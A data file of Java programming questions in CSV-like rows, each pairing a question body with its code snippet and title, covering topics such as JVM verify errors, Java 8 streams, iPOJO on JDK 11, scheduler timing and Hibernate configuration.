parseFloat ( String s ) { float f = 0.0f ; try { f = Float.valueOf ( s ) .floatValue ( ) ; return f ; } catch ( NumberFormatException nfe ) { System.out.println ( `` Invalid input `` + s ) ; } finally { System.out.println ( `` It 's time to get some rest '' ) ; return f ; } } },Why can this floating point text value be parsed as a double ? +Java,"I am getting the following error from my code : Attempt to split long or double on the stackI am clueless about the origin of this error and do not know how to debug it . What kind of problem does this indicate ? How can I fix it ? Problem Code : I have created a Model as given below } On a particular JSP page , I am doing following . The getServices method in the above target class is as follows.When including the above code in jsp . I do get the error . Otherwise , it works.Further Investigataions : I have updated the dashboard.jsp file with the following code snippet . I am not able to identify why , But this code is working.Does this code makes any difference to the data ?","[ ERROR ] [ Mon May 23 14:29:46 IST 2011 ] [ ( class : org/apache/jsp/dashboard_jsp , method : _jspService signature : ( Ljavax/servlet/http/HttpServletRequest ; Ljavax/servlet/http/HttpServletResponse ; ) V ) Attempt to split long or double on the stack ] [ 10.97.34.222 ] hddlntdsz2350 [ session not set ] java.lang.VerifyError : ( class : org/apache/jsp/dashboard_jsp , method : _jspService signature : ( Ljavax/servlet/http/HttpServletRequest ; Ljavax/servlet/http/HttpServletResponse ; ) V ) Attempt to split long or double on the stackat java.lang.Class.getDeclaredConstructors0 ( Native Method ) at java.lang.Class.privateGetDeclaredConstructors ( Class.java:2389 ) at java.lang.Class.getConstructor0 ( Class.java:2699 ) at java.lang.Class.newInstance0 ( Class.java:326 ) at java.lang.Class.newInstance ( Class.java:308 ) at org.jboss.web.tomcat.service.TomcatInjectionContainer.newInstance ( TomcatInjectionContainer.java:273 ) public class DashboardViewModel implements Serializable { /** defalut serialization id */private static final long serialVersionUID = 1L ; /** * Collection representing all the services */private Map < Long , ServiceCustomerModel > serviceDataMap ; for ( Long serviceId : dashboardViewModel.getServices ( ) ) { Service service = dashboardViewModel.getService ( serviceId ) ; } public Set < Long > getServices ( ) { return this.serviceDataMap.keySet ( ) ; } ArrayList < Long > test = new ArrayList < Long > ( ) ; test.addAll ( dashboardViewModel.getServices ( ) ) ; for ( long serviceId : test ) { Service service = dashboardViewModel.getService ( serviceId ) ; }",What does the error message `` Attempt to split long or double on the stack '' indicate ? +Java,"I would like to create a class in Java 8 which is able to recursively create an object which has a method that takes a function parameter based on the parameters I added.For example , I would like to be able to do this : The apply method would then apply the collected parameters to the given function.I feel this should be possible without reflection while maintaing type-safety , but I ca n't quite figure out how . A solution in Scala is also welcome , if I can translate it to Java 8 . If it 's not possible , I 'll also accept an answer that explains why.What I have so far is essentially this : As noted in the code comments , my problems are keeping the function parameters in the order of the calls of param ( ) , and actually applying the parameters .","new X ( ) .param ( 23 ) .param ( `` some String '' ) .param ( someObject ) .apply ( ( Integer a ) - > ( String b ) - > ( Object c ) - > f ( a , b , c ) ) class ParamCmd < A , X > { final A param ; public ParamCmd ( A param ) { this.param = param ; } public < B > ParamCmd < B , Function < A , X > > param ( B b ) { return new ParamCmd < > ( b ) ; } public void apply ( Function < A , X > f ) { // this part is unclear to me } public static void main ( String [ ] args ) { new ParamCmd < Integer , String > ( 0 ) .param ( `` oops '' ) .param ( new Object ( ) ) // the constructed function parameters are reversed relative to declaration .apply ( ( Object c ) - > ( String b ) - > ( Integer a ) - > `` args were `` + a + `` `` + b + `` `` + c ) ; } }",Collect arguments to apply to curried functions in Java/Scala +Java,"I have a project that is built around OSGi and iPOJO and I 'm trying to determine if it will still work with JDK 11 . It 's currently using JDK 8 . It 's not looking too hopeful since the latest version of iPOJO ( 1.12.1 ) was released in 2014 . After updating the target and maven compiler version , I 'm running into the following : From a cursory glance , it looks like the asm dependency of the maven-ipojo-plugin is having trouble with JDK 11 , which would make sense because iPOJO has a transitive dependency on asm 5.0.4 , and JDK 11 support was not added until asm 7.0 . I tried to exclude the transitive dependency and added asm 7.0 as a dependency , but I still get the same error . Thanks for looking , I 'd appreciate any other ideas to try or insights .",[ ERROR ] Failed to execute goal org.apache.felix : maven-ipojo-plugin:1.12.1 : ipojo-bundle ( default ) on project redacted : Execution default of goal org.apache.felix : maven-ipojo-plugin:1.12.1 : ipojo-bundle failed . IllegalArgumentException - > [ Help 1 ] org.apache.maven.lifecycle.LifecycleExecutionException : Failed to execute goal org.apache.felix : maven-ipojo-plugin:1.12.1 : ipojo-bundle ( default ) on project redacted : Execution default of goal org.apache.felix : maven-ipojo-plugin:1.12.1 : ipojo-bundle failed . at org.apache.maven.lifecycle.internal.MojoExecutor.execute ( MojoExecutor.java:212 ) at org.apache.maven.lifecycle.internal.MojoExecutor.execute ( MojoExecutor.java:153 ) at org.apache.maven.lifecycle.internal.MojoExecutor.execute ( MojoExecutor.java:145 ) at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject ( LifecycleModuleBuilder.java:116 ) at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject ( LifecycleModuleBuilder.java:80 ) at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build ( SingleThreadedBuilder.java:51 ) at org.apache.maven.lifecycle.internal.LifecycleStarter.execute ( LifecycleStarter.java:128 ) at org.apache.maven.DefaultMaven.doExecute ( DefaultMaven.java:307 ) at org.apache.maven.DefaultMaven.doExecute ( DefaultMaven.java:193 ) at org.apache.maven.DefaultMaven.execute ( DefaultMaven.java:106 ) at org.apache.maven.cli.MavenCli.execute ( MavenCli.java:863 ) at org.apache.maven.cli.MavenCli.doMain ( MavenCli.java:288 ) at org.apache.maven.cli.MavenCli.main ( MavenCli.java:199 ) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) at java.base/java.lang.reflect.Method.invoke ( Method.java:566 ) at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced ( Launcher.java:289 ) at org.codehaus.plexus.classworlds.launcher.Launcher.launch ( Launcher.java:229 ) at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode ( Launcher.java:415 ) at org.codehaus.plexus.classworlds.launcher.Launcher.main ( Launcher.java:356 ) Caused by : org.apache.maven.plugin.PluginExecutionException : Execution default of goal org.apache.felix : maven-ipojo-plugin:1.12.1 : ipojo-bundle failed . at org.apache.maven.plugin.DefaultBuildPluginManager.executeMojo ( DefaultBuildPluginManager.java:145 ) at org.apache.maven.lifecycle.internal.MojoExecutor.execute ( MojoExecutor.java:207 ) ... 20 moreCaused by : java.lang.IllegalArgumentException at org.objectweb.asm.ClassReader. < init > ( Unknown Source ) at org.objectweb.asm.ClassReader. < init > ( Unknown Source ) at org.apache.felix.ipojo.manipulator.metadata.annotation.model.parser.AnnotationParser.read ( AnnotationParser.java:32 ) at org.apache.felix.ipojo.manipulator.metadata.annotation.registry.MetaAnnotationBindingRegistry.createBindings ( MetaAnnotationBindingRegistry.java:94 ) at org.apache.felix.ipojo.manipulator.metadata.annotation.registry.CompletableBindingRegistry.getBindings ( CompletableBindingRegistry.java:45 ) at org.apache.felix.ipojo.manipulator.metadata.annotation.registry.CompletableBindingRegistry.getBindings ( CompletableBindingRegistry.java:43 ) at org.apache.felix.ipojo.manipulator.metadata.annotation.registry.CompletableBindingRegistry.getBindings ( CompletableBindingRegistry.java:43 ) at org.apache.felix.ipojo.manipulator.metadata.annotation.registry.Selection.list ( Selection.java:129 ) at org.apache.felix.ipojo.manipulator.metadata.annotation.registry.Selection.get ( Selection.java:98 ) at org.apache.felix.ipojo.manipulator.metadata.annotation.MethodMetadataCollector.visitAnnotation ( MethodMetadataCollector.java:69 ) at org.objectweb.asm.ClassReader.b ( Unknown Source ) at org.objectweb.asm.ClassReader.accept ( Unknown Source ) at org.objectweb.asm.ClassReader.accept ( Unknown Source ) at org.apache.felix.ipojo.manipulator.metadata.AnnotationMetadataProvider.computeAnnotations ( AnnotationMetadataProvider.java:111 ) at org.apache.felix.ipojo.manipulator.metadata.AnnotationMetadataProvider.access $ 200 ( AnnotationMetadataProvider.java:44 ) at org.apache.felix.ipojo.manipulator.metadata.AnnotationMetadataProvider $ 1.visit ( AnnotationMetadataProvider.java:90 ) at org.apache.felix.ipojo.manipulator.store.JarFileResourceStore.accept ( JarFileResourceStore.java:161 ) at org.apache.felix.ipojo.manipulator.metadata.AnnotationMetadataProvider.getMetadatas ( AnnotationMetadataProvider.java:75 ) at org.apache.felix.ipojo.manipulator.metadata.CompositeMetadataProvider.getMetadatas ( CompositeMetadataProvider.java:53 ) at org.apache.felix.ipojo.manipulator.Pojoization.pojoization ( Pojoization.java:360 ) at org.apache.felix.ipojo.manipulator.Pojoization.pojoization ( Pojoization.java:243 ) at org.apache.felix.ipojo.plugin.ManipulatorMojo.execute ( ManipulatorMojo.java:265 ) at org.apache.maven.plugin.DefaultBuildPluginManager.executeMojo ( DefaultBuildPluginManager.java:134 ) ... 21 more,Using OSGi and Apache Felix iPOJO with JDK 11 +Java,It seems I 'm having trouble understanding how Java composes stream operations into a stream pipeline.When executing the following code The console only prints 4 . The StringBuilder object still has the value `` '' .When I add the filter operation : filter ( s - > true ) The output changes to : How does this seemingly redundant filter operation change the behavior of the composed stream pipeline ?,"public static void main ( String [ ] args ) { StringBuilder sb = new StringBuilder ( ) ; var count = Stream.of ( new String [ ] { `` 1 '' , `` 2 '' , `` 3 '' , `` 4 '' } ) .map ( sb : :append ) .count ( ) ; System.out.println ( count ) ; System.out.println ( sb.toString ( ) ) ; } public static void main ( String [ ] args ) { StringBuilder sb = new StringBuilder ( ) ; var count = Stream.of ( new String [ ] { `` 1 '' , `` 2 '' , `` 3 '' , `` 4 '' } ) .filter ( s - > true ) .map ( sb : :append ) .count ( ) ; System.out.println ( count ) ; System.out.println ( sb.toString ( ) ) ; } 41234",Intermediate stream operations not evaluated on count +Java,"I created interface TwoMethods . Source code : Then I created class implementing this interface and after disassembling I saw 2 methods.Class : After disassembling : Similarly for Comparable interface . Why when I create parametrized interface I have 2 methods . It is always , when I use parameter ? I have additionally method with Object as argument ?",interface TwoMethods < T > { public void method ( T t ) ; } class A implements TwoMethods < A > { @ Override public void method ( A a ) { } } class A implements TwoMethods < A > { A ( ) ; public void method ( A ) ; //first public void method ( java.lang.Object ) ; //second },Two methods when implementing interface containing only one +Java,"I 'm toying with Java8 's streams and CompletableFutures . My pre-existing code has a class that takes a single URL and downloads it : Now , this class gets it 's information from another part that emits List < String > ( a number of targets on a single host ) .I 've switched the surrounding code to CompletableFuture : Now , this does n't feel natural . I 'm producing a stream of Strings and my FileDownloader consumes one of them at a time . Is there a readymade to enable my single value Consumer to work with Lists or am I stuck with the for loop here ? I know it 's trivial to move the loop into the accept and just make a Consumer < List < String > > , that 's not the point .","public class FileDownloader implements Runnable { private URL target ; public FileDownloader ( String target ) { this.target = new URL ( target ) ; } public void run ( ) { /* do it */ } } public class Downloader { public static void main ( String [ ] args ) { List < String > hosts = fetchTargetHosts ( ) ; for ( String host : hosts ) { HostDownloader worker = new HostDownloader ( host ) ; CompletableFuture < List < String > > future = CompletableFuture.supplyAsync ( worker ) ; future.thenAcceptAsync ( ( files ) - > { for ( String target : files ) { new FileDownloader ( target ) .run ( ) ; } } ) ; } } public static class HostDownloader implements Supplier < List < String > > { /* not shown */ } /* My implementation should either be Runnable or Consumer . Please suggest based on a idiomatic approach to the main loop . */ public static class FileDownloader implements Runnable , Consumer < String > { private String target ; public FileDownloader ( String target ) { this.target = target ; } @ Override public void run ( ) { accept ( this.target ) ; } @ Override public void accept ( String target ) { try ( Writer output = new FileWriter ( `` /tmp/blubb '' ) ) { output.write ( new URL ( target ) .getContent ( ) .toString ( ) ) ; } catch ( IOException e ) { /* just for demo */ } } } }",Best way to sequentially pass list values to single value consumer ? +Java,"I 've got some very basic code likewhere scan is a Scanner over a file.However , on one particular line , which is about 6k chars long , temp cuts out after something like 2470 characters . There 's nothing special about when it cuts out ; it 's in the middle of the word `` Australia . '' If I delete characters from the line , the place where it cuts out changes ; e.g . if I delete characters 0-100 in the file then Scanner will get what was previously 100-2570.I 've used Scanner for larger strings before . Any idea what could be going wrong ?",while ( scan.hasNextLine ( ) ) { String temp = scan.nextLine ( ) ; System.out.println ( temp ) ; },Scanner cuts off my String after about 2400 characters +Java,"We have a Java application that needs to run , among other environments , on a Virtual ( Hyper-V ) Windows 2012 R2 Server . When executed on this virtual Windows server , it seems to experience weird timing issues . We 've traced the issue to erratic scheduling in a Java scheduled executor : This code , which should run the TimeRunnable every 10ms , produces results such as these on the server : While on other machines , including heavily loaded virtual Linux boxes , as well as some windows desktops , a typical run looks like this : We do n't have a lot of experience with Windows Server and Hyper-V , so can anyone offer an explanation for this phenomena ? It it a Windows Server issue ? Hyper-V ? A Java bug on these platforms ? Is there a solution ? EDIT : A colleague has written a C # version of the same program : Here 's an updated ( partial ) screenshot of both applications working side by side on the virtual windows server : EDIT : A few other variants of the Java program all produce ( pretty much ) the same output : A variant in which System.nanoTime ( ) was replaced with System.currentTimeMillis ( ) A variant in which System.out.println ( ) was replaced with a periodically printed StringBuilderA variant in which the scheduling mechanism was replaced with a single thread that times itself through Thread.sleep ( ) A variant in which the lastRunAt is volatile","public static class TimeRunnable implements Runnable { private long lastRunAt ; @ Override public void run ( ) { long now = System.nanoTime ( ) ; System.out.println ( TimeUnit.NANOSECONDS.toMillis ( now - lastRunAt ) ) ; lastRunAt = now ; } } public static void main ( String [ ] args ) { ScheduledExecutorService exec = Executors.newScheduledThreadPool ( 1 ) ; exec.scheduleAtFixedRate ( new TimeRunnable ( ) , 0 , 10 , TimeUnit.MILLISECONDS ) ; } 121521215014162121400000000000001071501416212152121123000 9910910910109109910109999101099101099109101010118910910910109991099101010910 private static Stopwatch stopwatch = new Stopwatch ( ) ; public static void Main ( ) { stopwatch.Start ( ) ; Timer timer = new Timer ( callback , null , TimeSpan.FromMilliseconds ( 10 ) , TimeSpan.FromMilliseconds ( 10 ) ) ; } private static void callback ( object state ) { stopwatch.Stop ( ) ; TimeSpan span = stopwatch.Elapsed ; Console.WriteLine ( ( int ) span.TotalMilliseconds ) ; stopwatch.Restart ( ) ; }",Java scheduler executor timing issues on virtual windows server +Java,"I got this little code to test out Callable . However , I find it pretty confusing how the Compiler could know if the Lambda is for the Interface Callable or Runnable since both do n't have any parameter in their function . IntelliJ , however , shows that the Lambda employs the code for a Callable .","public class App { public static void main ( String [ ] args ) throws InterruptedException { ExecutorService executorService = Executors.newCachedThreadPool ( ) ; executorService.submit ( ( ) - > { System.out.println ( `` Starting '' ) ; int n = new Random ( ) .nextInt ( 4000 ) ; try { Thread.sleep ( n ) ; } catch ( InterruptedException e ) { e.printStackTrace ( ) ; } finally { System.out.println ( `` Finished '' ) ; } return n ; } ) ; executorService.shutdown ( ) ; executorService.awaitTermination ( 1 , TimeUnit.MINUTES ) ; } }",How does java differentiate Callable and Runnable in a Lambda ? +Java,"I have used the code below to create and populate an array , however , when it comes to printing the array I do not get the result I expect while using the Arrays.toString ( ) function . Rather than printingit printsThe code : Any help with this would be much appreciated .","newArray : [ 2 , 4 , 6 ] newArray : [ 8 , 10 , 12 ] etc.. newArray : [ [ I @ 15db9742 , [ I @ 6d06d69c , [ I @ 7852e922 , [ I @ 4e25154f ] newArray : [ [ I @ 15db9742 , [ I @ 6d06d69c , [ I @ 7852e922 , [ I @ 4e25154f ] etc.. public static void main ( String [ ] args ) { int [ ] [ ] newArray = new int [ 4 ] [ 3 ] ; int number = 2 ; for ( int rowCounter = 0 ; rowCounter < newArray.length ; rowCounter++ ) { for ( int colCounter = 0 ; colCounter < newArray [ rowCounter ] .length ; colCounter++ ) { newArray [ rowCounter ] [ colCounter ] = number ; number += 2 ; } System.out.println ( `` newArray : `` + Arrays.toString ( newArray ) ) ; } }",Outputting elements of an array with Arrays.toString ( ) +Java,Why is is that the following code does not compile ? The error is java : incompatible types : java.lang.Class < Impl > can not be converted to java.lang.Class < ? extends Iface < ? > > but I do n't see why the wildcard does n't capture .,interface Iface < T > { } class Impl < T > implements Iface < T > { } class TestCase { static Class < ? extends Iface < ? > > clazz = Impl.class ; },java.lang.Class generics and wildcards +Java,"I use the following in the pom.xml which is actually securing the root route , I see the authentication process starting in the browser for few secondsNow I 've specific routes that I need to secure when user chooses them ... How I should do it ? via configuration on the pom as above or via code for each route ?",< filter > < filter-name > CsrfFilter < /filter-name > < filter-class > org.apache.catalina.filters.RestCsrfPreventionFilter < /filter-class > < /filter > < filter-mapping > < filter-name > CsrfFilter < /filter-name > < url-pattern > /* < /url-pattern > < /filter-mapping > @ Path ( `` /run '' ) public class Service { ... @ GET @ Path ( `` connect/ { param } '' ) public Response connectToHost ( @ PathParam ( `` param '' ) String host ) {,Java spring-rest/ Jersey how secure rest route with filter +Java,"I 'm struggling to resolve a problem which seems very strange to me . I 've looked trough at least five similar topics here on StackOverflow and neither of them provided an answer . But to the problem itself : I want to read in a file on app 's startup . When I run the app in the IDE ( IntelliJ Idea ) everything is OK . Although when I build it with Gradle Java throws FileNotFoundException : The path to the file is correct , the file exists , the jar has proper permissions.The declaration :",java.io.FileNotFoundException : file : /home/user/IdeaProjects/time-keeper/build/libs/time-keeper-0.7-beta.jar ! /data.csv ( No such file or directory ) File dataFile = new File ( ClassLoader.getSystemResource ( `` data.csv '' ) .getFile ( ) ) ; Handle < TimeTask > dataHandle = new FileHandle ( dataFile ) ;,FileNotFoundException although the file is in place and the path is correct +Java,"Java : Output when run : Groovy : Output when run : Why this discrepancy ? Using Outer.outer ( ) works , however any way to avoid typing the class name ?","public final class Outer { public static void main ( String [ ] args ) { Inner.inner ( ) ; } private static final class Inner { private static void inner ( ) { System.out.println ( `` inner '' ) ; outer ( ) ; } } private static void outer ( ) { System.out.println ( `` outer '' ) ; } } innerouter public final class Outer { static main ( String [ ] args ) { Inner.inner ( ) } static outer ( ) { println ( 'outer ' ) } static final class Inner { static inner ( ) { println ( 'inner ' ) outer ( ) } } } $ groovy OuterinnerCaught : groovy.lang.MissingMethodException : No signature of method : static Outer $ Inner.outer ( ) is applicable for argument types : ( ) values : [ ] Possible solutions : inner ( ) , use ( [ Ljava.lang.Object ; ) , use ( java.lang.Class , groovy.lang.Closure ) , use ( java.util.List , groovy.lang.Closure ) , putAt ( java.lang.String , java.lang.Object ) , grep ( ) groovy.lang.MissingMethodException : No signature of method : static Outer $ Inner.outer ( ) is applicable for argument types : ( ) values : [ ] Possible solutions : inner ( ) , use ( [ Ljava.lang.Object ; ) , use ( java.lang.Class , groovy.lang.Closure ) , use ( java.util.List , groovy.lang.Closure ) , putAt ( java.lang.String , java.lang.Object ) , grep ( ) at Outer $ Inner.inner ( Outer.groovy:13 ) at Outer $ Inner $ inner.call ( Unknown Source ) at Outer.main ( Outer.groovy:3 )",Java vs. Groovy inner / outer class discrepancy +Java,"Good Day , I have just configured the tomcat and using the java servlet pages . I 'm new with this and unable to hit the index page successfully but if I directly tried to hit the form action and passed the defined param then I could see the results . Please guide me if I 'm missing something.JSP - CodeJava - Code } web.xmland if i tried to hit this localhost:9080/CrunchifyJSPServletExample/Crunchify.jspI 'm getting HTTP Status 404.Help will be appreciated.Thanks","< div align= '' center '' style= '' margin-top : 50px ; '' > < form action= '' CrunchifyServlet '' > Please enter your Username : < input type= '' text '' name= '' username '' size= '' 20px '' > < br > Please enter your Password : < input type= '' text '' name= '' password '' size= '' 20px '' > < br > < br > Please enter your Age : < input type= '' text '' name= '' age '' size= '' 20px '' > < br > < br > < input type= '' submit '' value= '' submit '' > < /form > < /div > public class HelloCrunchify extends HttpServlet { protected void doGet ( HttpServletRequest request , HttpServletResponse response ) throws ServletException , IOException { // reading the user input String username = request.getParameter ( `` username '' ) ; String password = request.getParameter ( `` password '' ) ; String age = request.getParameter ( `` age '' ) ; PrintWriter out = response.getWriter ( ) ; out.println ( `` < ! DOCTYPE html PUBLIC \ '' -//W3C//DTD HTML 4.01 Transitional//EN\ '' + '' + `` http : //www.w3.org/TR/html4/loose.dtd\ '' > \n '' + `` < html > \n '' + `` < head > \n '' + `` < meta http-equiv=\ '' Content-Type\ '' content=\ '' text/html ; `` + `` charset=ISO-8859-1\ '' > \n '' + `` < title > Crunchify.com JSP Servlet Example < /title > \n '' + `` < /head > \n '' + `` < body > < div align='center ' > \n '' + `` < style= \ '' font-size=\ '' 12px\ '' color='black'\ '' '' + `` \ '' > '' + `` Username : `` + username + `` < br > `` + `` Password : `` + password + `` < br > `` + `` Age : `` + age + `` < /font > < /body > \n '' + `` < /html > '' ) ; } < display-name > CrunchifyJSPServletExample < /display-name > < welcome-file-list > < welcome-file > index.html < /welcome-file > < welcome-file > index.htm < /welcome-file > < welcome-file > index.jsp < /welcome-file > < welcome-file > default.html < /welcome-file > < welcome-file > default.htm < /welcome-file > < welcome-file > default.jsp < /welcome-file > < /welcome-file-list > < servlet > < servlet-name > Hello < /servlet-name > < servlet-class > com.crunchify.jsp.servlet.HelloCrunchify < /servlet-class > < /servlet > < servlet-mapping > < servlet-name > Hello < /servlet-name > < url-pattern > /CrunchifyServlet < /url-pattern > < /servlet-mapping > < /web-app >",Unable to hit the Servlet page +Java,"I am now developing a java Google cloud endpoint in GAE . Inside the endpoint it will try to connect to the Firebase server to get some data.However , when I create the Firebase object in my endpoint , GAE throws the following error : I am using Firebase client 2.2.3 . It seems like GAE does not allow an application to create new threads . Any idea ?",Firebase ref = new Firebase ( < My Firebase URL > ) ; java.security.AccessControlException : access denied ( `` java.lang.RuntimePermission '' `` modifyThreadGroup '' ) at java.security.AccessControlContext.checkPermission ( AccessControlContext.java:382 ) at java.security.AccessController.checkPermission ( AccessController.java:572 ) at java.lang.SecurityManager.checkPermission ( SecurityManager.java:549 ) at java.lang.ThreadGroup.checkAccess ( ThreadGroup.java:315 ) at java.lang.Thread.init ( Thread.java:391 ) at java.lang.Thread.init ( Thread.java:349 ) at java.lang.Thread. < init > ( Thread.java:675 ) at java.util.concurrent.Executors $ DefaultThreadFactory.newThread ( Executors.java:572 ) at com.firebase.client.utilities.DefaultRunLoop $ FirebaseThreadFactory.newThread ( DefaultRunLoop.java:25 ) at java.util.concurrent.ThreadPoolExecutor $ Worker. < init > ( ThreadPoolExecutor.java:600 ) at java.util.concurrent.ThreadPoolExecutor.addWorker ( ThreadPoolExecutor.java:943 ) at java.util.concurrent.ThreadPoolExecutor.ensurePrestart ( ThreadPoolExecutor.java:1635 ) at java.util.concurrent.ScheduledThreadPoolExecutor.delayedExecute ( ScheduledThreadPoolExecutor.java:307 ) at java.util.concurrent.ScheduledThreadPoolExecutor.schedule ( ScheduledThreadPoolExecutor.java:526 ) at java.util.concurrent.ScheduledThreadPoolExecutor.execute ( ScheduledThreadPoolExecutor.java:615 ) at com.firebase.client.utilities.DefaultRunLoop.scheduleNow ( DefaultRunLoop.java:57 ) at com.firebase.client.core.Repo.scheduleNow ( Repo.java:176 ) at com.firebase.client.core.Repo. < init > ( Repo.java:58 ) at com.firebase.client.core.RepoManager.getLocalRepo ( RepoManager.java:46 ) at com.firebase.client.core.RepoManager.getRepo ( RepoManager.java:19 ) at com.firebase.client.Firebase. < init > ( Firebase.java:194 ) at com.firebase.client.Firebase. < init > ( Firebase.java:199 ) at com.firebase.client.Firebase. < init > ( Firebase.java:177 ),Firebase init error in Google App Engine +Java,In MATLAB I 'm using a couple of java routines I 've written to interface with a MyQSL database . One routine returns a boolean valueWhen I then use it in a conditional statement I get an error message.Is there a way to use the java boolean class as a MATLAB logical type ? Or do I have to resort to returning integer values from my java routines ?,"result < 1x1 java.lang.Boolean > > > result result =true > > if result , disp ( 'result is true ' ) end ? ? ? Conversion to logical from java.lang.Boolean is not possible .",In MATLAB can I convert a java boolean to a MATLAB logical ? +Java,I am attempting to retrieve the available picture-size resolutions supported by my webcam ; using the OpenCV library . I have tried working with similar Android question/answers but to no avail . ( e.g . Android camera supported picture sizes ) . Here is my code : And the stack trace is : All help will be sincerely appreciated .,"import org.opencv.highgui.VideoCapture ; import org.opencv.core.Size ; public class MyCameraCaptureClass { public static void main ( String [ ] args ) { System.out.println ( `` Hello , OpenCV '' ) ; System.out.println ( `` This program will display the webcam 's supported sizes '' ) ; System.loadLibrary ( `` opencv_java248 '' ) ; //load .dll for the jar VideoCapture vidCap0 = new VideoCapture ( 0 ) ; if ( vidCap0.isOpened ( ) ) { System.out.println ( `` Camera found , and it works so far ... '' ) ; for ( Size aSize : vidCap0.getSupportedPreviewSizes ( ) ) { System.out.println ( `` Does n't print this at all '' ) ; System.out.println ( `` Height : '' + aSize.height + `` Width : '' + aSize.width ) ; } } vidCap0.release ( ) ; } } Exception in thread `` main '' java.lang.Exception : unknown exceptionat org.opencv.highgui.VideoCapture.getSupportedPreviewSizes_0 ( Native Method ) at org.opencv.highgui.VideoCapture.getSupportedPreviewSizes ( VideoCapture.java:478 ) at webcam.MyCameraCaptureClass.main ( MyCameraCaptureClass.java:19 )",Webcam supported picture sizes +Java,"I 'm trying to build a JIT strategy based on method structure with profiling info ( provided by JVM ) but i did n't able to trigger JIT manually . This documentation says i can run JIT by invoking java.lang.Compiler.compileClass ( ) but method returns false every time and the property that java.lang.Compiler checks ( java.compiler ) is null every time i run the JVM . I tried on OpenJDK and Oracle JVM 1.7 both results the same.However when i observe the compilation statistics with I can see the JIT successfully compiles some method which fits the conditions.If any way exist I rather trigger it from java code . I tried to search in hotspot VM 's code too but I could n't locate the class and method where the decision made and JIT start.Edit : After looking around more I found the compilationPolicy.cpp bu still could n't find the exact location that the decision depend on . I would expect something like ( simply thinking ) but instead found this , As far as tracing the native JVM code , im getting away my main topic . Still looking for a simple solution to use in java side of the code .","$ jstat -printcompilation < PID > if ( hot_count > Threshold ) { compile_method ( methodHandle ) ; } void SimpleCompPolicy : :method_invocation_event ( methodHandle m , JavaThread* thread ) { const int comp_level = CompLevel_highest_tier ; const int hot_count = m- > invocation_count ( ) ; reset_counter_for_invocation_event ( m ) ; const char* comment = `` count '' ; if ( is_compilation_enabled ( ) & & can_be_compiled ( m ) ) { nmethod* nm = m- > code ( ) ; if ( nm == NULL ) { // [ MY COMMENT ] no check being done on hot_count in here or callee methods CompileBroker : :compile_method ( m , InvocationEntryBci , comp_level , m , hot_count , comment , thread ) ; } } }",Is there a way to trigger JIT manually other than java.lang.Compiler +Java,Why do n't I get a compilation error in the code below ? I get a ClassCastException which is a little confusing . Is it because they are related ?,class Ink { } Interface Printable { } class ColorInk extends Ink implements Printable { } class BlackInk extends Ink { } class TwistInTaleCasting { public static void main ( String args [ ] ) { Printable printable = null ; BlackInk blackInk = new BlackInk ( ) ; printable = ( Printable ) blackInk ; } },Why a ClassCastException but not a compilation error ? +Java,"Why does this code sometimes produce ArrayOutOfBoundsException ? How is that even possible for String.valueOf ( int ) ? UpdatesI do n't know the value of the byte when this occurs , but it does n't seem like it should be possible for any possible value of byte.Once it happens once , every invocation then errors out with the same exception.Environment :","public static String ipToString ( ByteString bs ) { if ( bs == null || bs.isEmpty ( ) ) { return null ; } else { StringBuilder sb = new StringBuilder ( ) ; boolean started = false ; for ( Byte byt : bs ) { if ( started ) { sb.append ( `` . `` ) ; } sb.append ( String.valueOf ( byt & 0xFF ) ) ; started = true ; } return sb.toString ( ) ; } } java.lang.ArrayIndexOutOfBoundsException : -81914 at java.lang.Integer.getChars ( Integer.java:458 ) at java.lang.Integer.toString ( Integer.java:402 ) at java.lang.String.valueOf ( String.java:3086 ) at com.mystuff.mypackage.ipToString ( MyCode.java:1325 ) ... at java.util.concurrent.FutureTask.run ( FutureTask.java:266 ) at java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1142 ) at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:617 ) at java.lang.Thread.run ( Thread.java:745 ) java version `` 1.8.0_20 '' Java ( TM ) SE Runtime Environment ( build 1.8.0_20-b26 ) Java HotSpot ( TM ) 64-Bit Server VM ( build 25.20-b23 , mixed mode )",How is ArrayOutOfBoundsException possible in String.valueOf ( int ) ? +Java,"I 've seen some guides or blogs that say using this to access a class 's own members is bad . However , I 've also seen some places where professionals are accessing with this . I tend to prefer explicitly using this , since it seems to make it clear that the thing I 'm accessing is part of the class.Is there some advantage or disadvantage to using this ? Is it simply a stylistic preference ?",this.MyProperty = this.GetSomeValue ( ) ;,"Should I use `` this '' to call class properties , members , or methods ?" +Java,"In hibernate-cfg.xml file , as per my understanding hibernate-configuration can have only one session-factory and one or zero security tagsif we configure multiple session-factory then we should get error `` The content of element type `` hibernate-configuration '' must match `` ( session-factory , security ? ) So anyone tell me What is the use of the name property in session-factory tag in hibernate.cfg.xml fileIn which scenario we can use it ?",< session-factory name= '' '' >,What is the use of session-factory name property in hibernate-configuration file +Java,"I have written a simple Java animation program in Ubuntu 14.4.1 . A ball moving inside a JPanel . But at execution , the ball moves quite jerky in the JPanel . This problem continues until I move the mouse inside the JPanel . At the time of moving the mouse inside the JPanel the ball movement is quite smooth . It should be said that I 've run this program in Windows 10 , and no problem occurred . The code for my program is as follows : What is the problem ? Do I have to change some settings in my Ubuntu ? I 've also put some test code inside the paintComponent method as follows : with variable counter initial value of 0 declared in class MovingBall . I observed that the number of paintComponent 's calls per second is much more than the actual refresh rate of the JPanel as it appears .","import java.awt . * ; import javax.swing . * ; public class BouncingBall extends JPanel { Ball ball = new Ball ( ) ; void startAnimation ( ) { while ( true ) { try { Thread.sleep ( 25 ) ; ball.go ( ) ; repaint ( ) ; } catch ( InterruptedException e ) { } } // end while ( true ) } // end method startAnimation ( ) protected void paintComponent ( Graphics g ) { super.paintComponent ( g ) ; ball.draw ( g ) ; } // end method paintComponent // inner class Ball class Ball { int x ; int y ; int diameter = 10 ; int xSpeed = 100 ; int 